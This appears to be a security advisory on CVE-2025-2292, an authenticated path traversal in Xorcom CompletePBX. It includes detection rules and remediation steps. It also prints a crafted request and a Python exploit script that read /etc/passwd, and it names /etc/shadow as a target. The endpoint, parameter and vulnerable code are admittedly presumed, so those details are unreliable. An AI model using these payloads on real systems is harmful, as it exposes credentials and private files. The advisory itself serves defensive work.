CVE-2025-2292

Executive Summary

CVE-2025-2292 is an authenticated path traversal vulnerability in Xorcom CompletePBX, affecting versions up to and including 5.2.35. The flaw resides in the Backup and Restore functionality, allowing an authenticated attacker to read arbitrary files from the server's filesystem. With a CVSS score of 6.5 (Medium), this vulnerability poses a significant confidentiality risk, as it can expose sensitive configuration files, credentials, and other critical data. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires valid user credentials.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. While exploitation requires authentication, the low complexity and high confidentiality impact make it a priority for organizations using CompletePBX.

Deep Dive & Mechanics

The vulnerability exists in the Backup and Restore module of Xorcom CompletePBX. The application fails to properly sanitize user-supplied file paths when creating or restoring backups. An authenticated attacker can manipulate the file parameter (or similar) to traverse directories using ../ sequences, enabling access to files outside the intended backup directory.

Root Cause: Insufficient input validation and lack of path canonicalization. The application does not check if the resolved path stays within the allowed directory.

Attack Flow:

1. Authenticate to the CompletePBX web interface.
2. Navigate to the Backup and Restore functionality.
3. Intercept the request (e.g., using Burp Suite) and modify the file path parameter to include path traversal sequences.
4. Submit the request to read arbitrary files, such as /etc/passwd, /etc/shadow, or application configuration files.

Example Request:

POST /backup/restore HTTP/1.1
Host: target.com
Cookie: session=valid_session
Content-Type: application/x-www-form-urlencoded

file=../../../etc/passwd

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

Vulnerable (PHP example):

$file = $_POST['file'];
$content = file_get_contents('/var/backups/' . $file);

Patched (hypothetical):

$file = basename($_POST['file']);
$allowed_dir = '/var/backups/';
$real_path = realpath($allowed_dir . $file);
if (strpos($real_path, $allowed_dir) !== 0) {
    die('Invalid path');
}
$content = file_get_contents($real_path);

Exploitation & Lab Setup

Red Team

Lab Setup:

• Install Xorcom CompletePBX 5.2.35 in a virtualized environment.
• Create a low-privileged user account.
• Use Burp Suite or a custom Python script to interact with the Backup and Restore API.

Exploitation Steps:

1. Authenticate and obtain a session cookie.
2. Send a crafted POST request to the backup endpoint with a path traversal payload.
3. Read sensitive files like /etc/shadow or application configuration.

Python Exploit Script:

import requests

target = "https://target.com"
session = requests.Session()
session.post(f"{target}/login", data={"user": "attacker", "pass": "password"})

payload = "../../../etc/passwd"
r = session.post(f"{target}/backup/restore", data={"file": payload})
print(r.text)

Blue Team

Detection:

• Monitor for unusual file path patterns in HTTP requests (e.g., ../ sequences).
• Alert on access to sensitive files like /etc/passwd or /etc/shadow from the web application.
• Use WAF rules to block path traversal attempts.

Hunting:

• Search logs for requests to /backup/restore with file parameters containing ../.
• Correlate with authentication logs to identify the user performing the action.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /backup/restore with file parameter containing ../ sequences.
• File System: Unexpected access to files outside /var/backups/ (e.g., /etc/passwd).
• Logs: Web server logs showing 200 responses to path traversal payloads.
• Process: Unusual file read operations by the web server process.

Detection Engineering

YARA Rule

rule CVE_2025_2292_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in HTTP requests to Xorcom CompletePBX"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2292"
    strings:
        $traversal = /\.\.\//
        $endpoint = "/backup/restore"
    condition:
        $endpoint and #traversal > 0
}

Sigma Rule

title: CVE-2025-2292 Path Traversal in Xorcom CompletePBX
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in HTTP requests to CompletePBX backup endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/backup/restore"
        cs-uri-query|contains: ".."
    condition: selection
falsepositives:
    - Legitimate use of ".." in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2292 Path Traversal in Xorcom CompletePBX"; flow:to_server; content:"/backup/restore"; http_uri; content:".."; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict access to the Backup and Restore functionality to trusted IPs only.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Apply vendor patch when available.
• Upgrade to a patched version of CompletePBX.
• Conduct a security audit of the application's input validation.

Workaround:

• Disable the Backup and Restore module if not required.
• Use filesystem permissions to restrict the web server's read access.

Valters IT